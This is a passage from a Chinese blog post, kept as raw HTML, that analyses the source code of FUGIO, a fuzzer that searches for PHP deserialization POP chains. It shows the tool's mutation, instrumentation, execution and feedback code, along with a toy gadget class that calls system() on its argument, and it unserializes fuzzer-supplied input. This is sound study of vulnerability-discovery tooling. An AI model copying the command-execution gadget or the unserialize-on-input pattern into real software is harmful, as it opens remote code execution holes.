class="keyword">if</span> (<span class="keyword">empty</span>($obj_candidates[$choice]->value)) {</span><br><span class="line"> var_dump($prop[<span class="string">'name'</span>]);</span><br><span class="line"> <span class="keyword">echo</span> $choice . <span class="string">"\n"</span>;</span><br><span class="line"> var_dump($obj_candidates);</span><br><span class="line"> <span class="keyword">exit</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $parent_class = $obj_candidates[$choice]->value->class;</span><br><span class="line"> $parent_file = $obj_candidates[$choice]->value->file;</span><br><span class="line"> $prop[<span class="string">'value'</span>] = $parent_class;</span><br><span class="line"> $prop[<span class="string">'visibility'</span>] = $obj_candidates[$choice]->visibility;</span><br><span class="line"> $prop[<span class="string">'file'</span>] = $parent_file;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> { <span class="comment">//维持不变</span></span><br><span class="line"> $parent_class = $prop[<span class="string">'value'</span>];</span><br><span class="line"> $parent_file = $prop[<span class="string">'file'</span>];</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><ul><li>对于其他类型的属性,随机挑选类型进行变异</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Do not change</span></span><br><span class="line"><span class="keyword">if</span> ($mutate_probability > MUTATE_PROP <span class="keyword">and</span> $prop[<span class="string">'type'</span>] != <span class="string">"Unknown"</span>) {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span>($value_type) {</span><br><span class="line"> <span class="comment">// String</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line"> $prop[<span class="string">'type'</span>] = <span class="string">"String"</span>;</span><br><span class="line"> $prop[<span class="string">'value'</span>] = <span class="keyword">$this</span>->GetRandomString();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">// Int</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> $prop[<span class="string">'type'</span>] = <span class="string">"Int"</span>;</span><br><span class="line"> $prop[<span class="string">'value'</span>] = <span class="keyword">$this</span>->GetRandomInt();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">// Boolean</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> $prop[<span class="string">'type'</span>] = <span class="string">"Boolean"</span>;</span><br><span class="line"> $prop[<span class="string">'value'</span>] = <span class="keyword">$this</span>->GetRandomBoolean();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> $prop[<span class="string">'type'</span>] = <span class="string">"Array"</span>;</span><br><span class="line"> <span class="keyword">if</span> (count($array_hinting) != <span class="number">0</span>) {</span><br><span class="line"> $prop[<span class="string">'value'</span>] = <span class="keyword">$this</span>->GetHintingArray($file_chain, $array_hinting);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> $prop[<span class="string">'value'</span>] = <span class="keyword">$this</span>->GetRandomArray($file_chain);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> ......</span><br></pre></td></tr></table></figure><ul><li>此外对于<code>ArrayObject</code>类型的属性也有特殊的处理</li></ul><h1 id="PUT-Generation"><a href="#PUT-Generation" class="headerlink" title="PUT Generation"></a>PUT Generation</h1><p>在POP Chain Identifier和POP Chain Fuzzer启动前,PUT Generator部分会在<code>Files/fuzzing/目标目录.时间戳/PUT/</code>生成以下文件:</p><ul><li><p><code>class-带有命名空间的类名.php</code>,所谓的PUT(Program Under Test),其实就是将每个类的定义拆分到单独的文件中,例如上面例子中会生成<code>class-bar.php</code> <code>class-baz.php</code>和<code>class-foo.php</code></p></li><li><p><code>put-body.php</code>,<code>include_once</code>所有的PUT</p></li><li><p><code>put-head.php</code>,使用uopz对内置函数进行hook相关,似乎是废弃的没啥用</p></li></ul><p>除此之外,FUGIO还会先调用<code>Fuzzer/Instrumentor.php</code>,使用phpParser对PUT进行插桩从而向Fuzzer提供feedback,这一步会在<code>Files/fuzzing/app.xxx.xxxx/PUT/</code>下生成以下文件:</p><ul><li><code>inst-class-带有命名空间的类名.php</code>,上述例子中生成的<code>inst-class-baz.php</code>为:</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> {</span><br><span class="line"> <span class="title">class</span> <span class="title">Baz</span></span><br><span class="line"> {</span><br><span class="line"> <span class="title">public</span> <span class="title">function</span> <span class="title">evil</span>($<span class="title">a</span>)</span><br><span class="line"> {</span><br><span class="line"> $GLOBALS['Feedback_cls']->isBranchPassed('000000006b06bc4800000000724d4095', 'METHOD-ENTRY', debug_backtrace());</span><br><span class="line"> <span class="keyword">if</span> ($GLOBALS[<span class="string">'Feedback_cls'</span>]->isBranchPassed(<span class="string">'000000006b06bc7100000000724d4095'</span>, <span class="string">'COND-PRE'</span>, <span class="keyword">array</span>()) && <span class="keyword">$this</span>->con == <span class="number">5</span> && $GLOBALS[<span class="string">'Feedback_cls'</span>]->isBranchPassed(<span class="string">'000000006b06bc7100000000724d4095'</span>, <span class="string">'COND-POST'</span>, <span class="keyword">array</span>())) {</span><br><span class="line"> $GLOBALS[<span class="string">'Feedback_cls'</span>]->funcWrapped(<span class="string">'system'</span>, debug_backtrace(), <span class="string">'000000006b06bc7500000000724d4095'</span>, <span class="string">'Baz'</span>, <span class="string">'evil'</span>, <span class="string">'1'</span>, $a);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">namespace</span> {</span><br><span class="line">}</span><br><span class="line"><span class="title">namespace</span> {</span><br><span class="line"> <span class="title">if</span> (<span class="title">getenv</span>("<span class="title">FUZZ_CMD</span>") === "<span class="title">FuzzerInit</span>") {</span><br><span class="line"> $GLOBALS['Feedback_cls']->initIfConstraint('000000006b06bc7100000000724d4095', array('TYPE_VALUE', 'con', 'Int', '5', 'IF'));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到,原有的方法调用被包裹了一层<code>$GLOBALS['Feedback_cls']->setMethodWrapped</code>,条件分支则前后都被包裹了一个<code>$GLOBALS['Feedback_cls']->isBranchPassed</code>,并且方法的入口点也添加了一个<code>$GLOBALS['Feedback_cls']->isBranchPassed</code></p><p>除此之外,在该文件的最后还添加了一个<code>$GLOBALS['Feedback_cls']->initIfConstraint</code>,该语句用于给Fuzzer提供属性具体值的hint,从而加快Fuzzer执行的速度</p><ul><li><code>inst_PUT.php</code>,其中包含了<code>isBranchPassed</code>以及<code>setMethodWrapped</code>等插桩方法的实现,以及对用户输入的反序列化进行测试</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">ConstraintFeedback</span></span></span><br><span class="line"><span class="class"> </span>{</span><br><span class="line">...... </span><br><span class="line"> <span class="comment">//各种插桩方法的实现</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">isBranchPassed</span><span class="params">($stmt_id, $type, $call_stack, $argv_array = array<span class="params">()</span>)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> array_push(<span class="keyword">$this</span>->BranchPath, <span class="keyword">array</span>(<span class="string">"hash"</span> => $stmt_id, <span class="string">"type"</span> => $type, <span class="string">"call_stack"</span> => $call_stack, <span class="string">"argvs"</span> => $argv_array));</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->goalPath <span class="keyword">as</span> &$goalPath) {</span><br><span class="line"> <span class="keyword">if</span> ($goalPath[<span class="string">'hash'</span>] == $stmt_id) {</span><br><span class="line"> $goalPath[<span class="string">'hitCount'</span>] += <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">True</span>;</span><br><span class="line"> }</span><br><span class="line">......</span><br><span class="line"> <span class="comment">//将执行的feedback传给rabbitmq</span></span><br><span class="line"> $channel = $connection->channel();</span><br><span class="line"> $channel->queue_declare($rabbitmq_channel, <span class="keyword">false</span>, <span class="keyword">false</span>, <span class="keyword">false</span>, <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (getenv(<span class="string">"FUZZ_CMD"</span>) == <span class="string">"FuzzerInit"</span>) {</span><br><span class="line"> $msg = <span class="keyword">new</span> AMQPMessage(serialize($GLOBALS[<span class="string">'Feedback_cls'</span>]->init_output));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="keyword">new</span> AMQPMessage(serialize($feedback_output));</span><br><span class="line"> }</span><br><span class="line"> $channel->basic_publish($msg, <span class="string">''</span>, $rabbitmq_channel);</span><br><span class="line">......</span><br><span class="line"> <span class="comment">//对seed生成的序列化字符串进行测试</span></span><br><span class="line"> $userInput = base64_decode($argv[<span class="number">1</span>]);</span><br><span class="line"> <span class="comment">// $userInput = $GLOBALS['Feedback_cls']->mutate();</span></span><br><span class="line"> <span class="comment">// echo "[#] User Input: " . $userInput . "\n";</span></span><br><span class="line"> $fuzzed_class = unserialize($userInput);</span><br><span class="line"> <span class="keyword">switch</span> ($entry_magic_method) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"__destruct"</span>:</span><br><span class="line"> <span class="keyword">unset</span>($fuzzed_class);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"__construct"</span>:</span><br><span class="line"> <span class="comment">// TODO</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"__call"</span>:</span><br><span class="line"> $fuzzed_class->non_existed_method();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">......</span><br></pre></td></tr></table></figure><h1 id="Execution"><a href="#Execution" class="headerlink" title="Execution"></a>Execution</h1><p>伪代码第7行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$executor = <span class="keyword">new</span> Executor();</span><br><span class="line">$copied_seed->fuzz_result = $executor->ExecutePutByPayloadTree(</span><br><span class="line"> <span class="keyword">$this</span>->file_inst, <span class="keyword">$this</span>->file_chain,</span><br><span class="line"> $copied_seed->input_tree,</span><br><span class="line"> <span class="keyword">$this</span>->rabbitmq_settings,</span><br><span class="line"> <span class="keyword">$this</span>->rabbitmq_connection,</span><br><span class="line"> <span class="keyword">$this</span>->chain[<span class="number">0</span>]->method,</span><br><span class="line"> <span class="keyword">$this</span>->chain</span><br><span class="line"> );</span><br></pre></td></tr></table></figure><ul><li><code>Executor::ExecutePutByPayloadTree</code>首先调用<code>Executor::MakePayloadPhpFile</code>,该方法在<code>Files/fuzzing/app.xxx.xxxx/PUT/PAYLOAD</code>下生成当前seed对应的序列化文件,例如:</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//类的定义</span></span><br><span class="line">......</span><br><span class="line"><span class="keyword">namespace</span> {</span><br><span class="line">// <span class="title">case</span> 3</span><br><span class="line">$<span class="title">obj_Foo_0</span> = <span class="title">new</span> <span class="title">Foo</span>;</span><br><span class="line"><span class="comment">// case 4</span></span><br><span class="line">$obj_Foo_0->setProp(<span class="string">'o'</span>, <span class="keyword">new</span> Bar);</span><br><span class="line"><span class="comment">// case 0</span></span><br><span class="line">$obj_Foo_0->setProp(<span class="string">'a'</span>, <span class="number">880065850</span>);</span><br><span class="line"><span class="comment">// case 0</span></span><br><span class="line">$obj_Foo_0->setProp(<span class="string">'p'</span>, <span class="string">"/FUGIO/Files/fuzzing/app.test.230828014612/PUT/helper/proc0_1_4_1_36_2_dir/"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">namespace</span> {</span><br><span class="line"><span class="title">echo</span> <span class="title">base64_encode</span>(<span class="title">serialize</span>($<span class="title">obj_Foo_0</span>));</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>也就是按照seed中的属性树给对象属性挨个赋值,之后执行该文件即可获得该seed对应的序列化字符串</p><ul><li>之后会调用之前Instrumentor阶段生成的<code>Files/fuzzing/app.xxx.xxxx/PUT/inst_PUT.php</code>,并将序列化字符串传递过去,从而执行该gadget</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">putenv(<span class="string">"ENTRY_MAGIC_METHOD="</span> . $entry_magic_method);</span><br><span class="line">putenv(<span class="string">"SEED_VALUE="</span> . $GLOBALS[<span class="string">'SEED_VALUE'</span>]);</span><br><span class="line">shell_exec(<span class="string">"php "</span> .</span><br><span class="line"> <span class="string">"-d max_execution_time="</span> . $GLOBALS[<span class="string">'FUZZING_TIMEOUT'</span>] . <span class="string">" "</span> .</span><br><span class="line"> <span class="string">"-d memory_limit="</span> . MEMORY_LIMIT . <span class="string">" "</span> .</span><br><span class="line"> $file_inst . <span class="string">" "</span> . <span class="keyword">$this</span>->serialized_string);</span><br></pre></td></tr></table></figure><h1 id="Feedback"><a href="#Feedback" class="headerlink" title="Feedback"></a>Feedback</h1><p>总共有4类Feedback:</p><blockquote><p>There exist four types of feedback that the fuzzer leverages: 1) branch<br>coverage, 2) the depth of a gadget reached, 3) property hinting,<br>and 4) reference error.</p></blockquote><h2 id="Branch-Coverage"><a href="#Branch-Coverage" class="headerlink" title="Branch Coverage"></a>Branch Coverage</h2><ul><li>伪代码第8 9行,判断是否到达了新的path以及对fuzz结果的分析(两者顺序和伪代码中反过来)</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">$this</span>->seed_pool->IsNewPath($copied_seed)) {</span><br><span class="line"> $analyzed_result = $executor->AnalyzeExecutedResult(</span><br><span class="line"> $copied_seed->fuzz_result[<span class="string">'result'</span>],</span><br><span class="line"> <span class="keyword">$this</span>->chain,</span><br><span class="line"> $copied_seed</span><br><span class="line"> );</span><br><span class="line"> ......</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">IsNewPath</span><span class="params">($copied_seed)</span> </span>{</span><br><span class="line"> $seed_queue = <span class="keyword">array</span>();</span><br><span class="line"> array_push($seed_queue, <span class="keyword">$this</span>->root);</span><br><span class="line"></span><br><span class="line"> $seed_list = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">while</span> ($seed = array_shift($seed_queue)) {</span><br><span class="line"> <span class="keyword">if</span> ($seed->path_hash == $copied_seed->path_hash <span class="keyword">and</span></span><br><span class="line"> $seed->goal_depth == $copied_seed->goal_depth <span class="keyword">and</span></span><br><span class="line"> $seed->depth == $copied_seed->depth) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">False</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span> ($seed->child <span class="keyword">as</span> $child_seed) {</span><br><span class="line"> array_push($seed_queue, $child_seed);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">True</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>和其他seed挨个进行比对</p><ul><li>将当前seed加入seed_pool,对应伪代码第10行</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$copied_seed->depth = count($analyzed_result[<span class="string">'gadget_pass_check'</span>]) - <span class="number">1</span>;</span><br><span class="line">$copied_seed->select_count = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">$this</span>->seed_pool->AddSeed($selected_seed, $copied_seed, <span class="keyword">True</span>);</span><br></pre></td></tr></table></figure><h2 id="The-Depth-of-a-Gadget-Reached"><a href="#The-Depth-of-a-Gadget-Reached" class="headerlink" title="The Depth of a Gadget Reached"></a>The Depth of a Gadget Reached</h2><ul><li>伪代码17 18行,判断当前seed是否比变异前的seed到达了更深层的gadget,是的话根据当前seed再生成一个新seed加入seed_pool,其中包含了新到达的gadget</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($copied_seed->depth > $selected_seed->depth) {</span><br><span class="line"> <span class="keyword">if</span> ($copied_seed->depth == <span class="number">0</span> <span class="keyword">and</span> $selected_seed->depth == <span class="number">-1</span>) {</span><br><span class="line"> $next_gadget_index = $copied_seed->depth + <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> $next_gadget_index = $copied_seed->depth;</span><br><span class="line"> }</span><br><span class="line"> $next_gadget = $payload_creator->MakeGadgetTemplate(</span><br><span class="line"> <span class="keyword">$this</span>->gadget[$next_gadget_index]);</span><br><span class="line"> $merged_tree_list = $copied_seed->GetMergedTreeList($next_gadget);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> ($merged_tree_list <span class="keyword">as</span> $merged_tree) {</span><br><span class="line"> $new_evolved_seed = <span class="keyword">new</span> SeedNode();</span><br><span class="line"> $new_evolved_seed->template_tree = $merged_tree;</span><br><span class="line"> $new_evolved_seed->input_tree = $payload_creator->SetMutateProperties(</span><br><span class="line"> $new_evolved_seed->template_tree,</span><br><span class="line"> <span class="keyword">$this</span>->file_chain, <span class="keyword">$this</span>->gadget,</span><br><span class="line"> <span class="keyword">$this</span>->cand_class, <span class="keyword">$this</span>->cand_foreach,</span><br><span class="line"> <span class="keyword">$this</span>->hinting_infos,</span><br><span class="line"> $new_evolved_seed->array_hinting,</span><br><span class="line"> $next_gadget</span><br><span class="line"> );</span><br><span class="line"> $new_evolved_seed->goal_depth = $copied_seed->depth + <span class="number">1</span>;</span><br><span class="line"> $new_evolved_seed->depth = $copied_seed->depth;</span><br><span class="line"> $new_evolved_seed->select_count = <span class="number">0</span>;</span><br><span class="line"> $new_evolved_seed->seed_idx = <span class="keyword">$this</span>->seed_pool->seed_idx;</span><br><span class="line"> $new_evolved_seed->array_object = $next_gadget;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->seed_idx += <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->AddSeed($selected_seed, $new_evolved_seed, <span class="keyword">True</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>单说有点抽象,还是用上面那个例子。当Fuzzer第一次运行到该分支时,<code>$copied_seed->input_tree</code>类似于:</p><p><img src="/images/FUGIO_input_tree2.png" alt="input_tree2"></p><p>可以看到此时<code>o</code>被设置为了<code>Bar</code>类的对象,因此到达了第2层gadget,但其<code>deps</code>此时还是空的</p><p>而<code>$merged_tree_list</code>则会是补全了<code>deps</code>的<code>$copied_tree</code>:</p><p><img src="/images/FUGIO_merged_tree_list.png" alt="merged_tree_list"></p><h2 id="Property-Hinting"><a href="#Property-Hinting" class="headerlink" title="Property Hinting"></a>Property Hinting</h2><p>伪代码19-21行,这里有两类Hint:</p><h3 id="条件分支的hint"><a href="#条件分支的hint" class="headerlink" title="条件分支的hint"></a>条件分支的hint</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$hinted_seeds = <span class="keyword">$this</span>->MakeHintedSeeds($copied_seed,</span><br><span class="line"> <span class="keyword">$this</span>->hinting_data,</span><br><span class="line"> $analyzed_result[<span class="string">'passed_conds'</span>]);</span><br><span class="line"><span class="keyword">foreach</span> ($hinted_seeds <span class="keyword">as</span> $hinted_seed) {</span><br><span class="line"> <span class="comment">// $hinted_seed->path_hash = NULL;</span></span><br><span class="line"> $hinted_seed->select_count = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->seed_idx += <span class="number">1</span>;</span><br><span class="line"> $hinted_seed->seed_idx = <span class="keyword">$this</span>->seed_pool->seed_idx;</span><br><span class="line"> <span class="comment">// Duplicate Check</span></span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->AddSeed($selected_seed, $hinted_seed, <span class="keyword">True</span>);</span><br><span class="line"> <span class="comment">// $hinted_seed->depth = count($analyzed_result['gadget_pass_check']) - 1;</span></span><br><span class="line"> <span class="comment">// $hinted_seed->goal_depth = count($analyzed_result['gadget_pass_check']);</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里的hint来源于<code>inst-class-xxx.php</code>,其中包含了如果要进入某个分支某个属性需要的值,还是上面那个例子。当检测到<code>$copied_seed</code>能够到达该分支的<code>COND-PRE</code>并且已经具有该分支需要的属性时,就按照hint中的类型和值修改该属性</p><p>上面那个例子:</p><p><img src="/images/hinted_seeds.png" alt="hinted_seeds"></p><p>另外FUGIO只实现了<code>==</code>以及<code>is_string</code>这种的hint,<code><</code>这种都不支持</p><h3 id="数组索引的hint"><a href="#数组索引的hint" class="headerlink" title="数组索引的hint"></a>数组索引的hint</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Hinting 2 (ArrayFetch)</span></span><br><span class="line">$array_hinted_seed = <span class="keyword">$this</span>->MakeArrayHintedSeed(</span><br><span class="line"> $copied_seed, $analyzed_result[<span class="string">'array_fetch_list'</span>]);</span><br><span class="line"><span class="keyword">if</span> ($array_hinted_seed != <span class="keyword">False</span>) {</span><br><span class="line"> $array_hinted_seed->select_count = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->seed_idx += <span class="number">1</span>;</span><br><span class="line"> $array_hinted_seed->seed_idx = <span class="keyword">$this</span>->seed_pool->seed_idx;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->AddSeed($selected_seed, $array_hinted_seed, <span class="keyword">True</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>处理的应该是这种情况:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Baz</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">evil</span><span class="params">($a)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->con[<span class="string">"key"</span>] == <span class="string">"value"</span>) {</span><br><span class="line"> system($a);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>inst-class-baz.php</code>中会多一个:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">$this</span>->con[$GLOBALS[<span class="string">'Feedback_cls'</span>]->ArrayFetch(<span class="string">'000000001b7b9c78000000007cb15664'</span>, <span class="string">'$this->con'</span>, <span class="string">"key"</span>, <span class="keyword">$this</span>->con, <span class="string">"key"</span>, debug_backtrace())]</span><br></pre></td></tr></table></figure><p>但这里的实现跟条件分支的hint有点不一样,并不会直接在<code>$array_hinted_seed</code>中把<code>$this->con["key"]</code>直接设成<code>"value"</code>,只会给<code>array_hinted_seed</code>添加一个<code>array_hinting</code>属性。后续在变异(PayloadCreator::SetMutateProperties)的时候如果<code>con</code>的类型变异为<code>Array</code>或者<code>ArrayObject</code>的话有一定概率根据这个<code>array_hinting</code>属性设置一个<code>"key"</code>的索引(值还不会被设成<code>"value"</code>….)。感觉应该是没实现完或者写错了之类的,测试了几次根本不能成功fuzz出来</p><h2 id="Reference-Error"><a href="#Reference-Error" class="headerlink" title="Reference Error"></a>Reference Error</h2><p>伪代码22-24行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$revise_check = <span class="keyword">$this</span>->IsNeedRevise($copied_seed);</span><br><span class="line"><span class="keyword">if</span> ($revise_check[<span class="string">'result'</span>]) {</span><br><span class="line"> <span class="keyword">if</span> ($revise_check[<span class="string">'type'</span>] == <span class="string">"NON_OBJECT_METHOD"</span>) {</span><br><span class="line"> $added_prop_seeds = <span 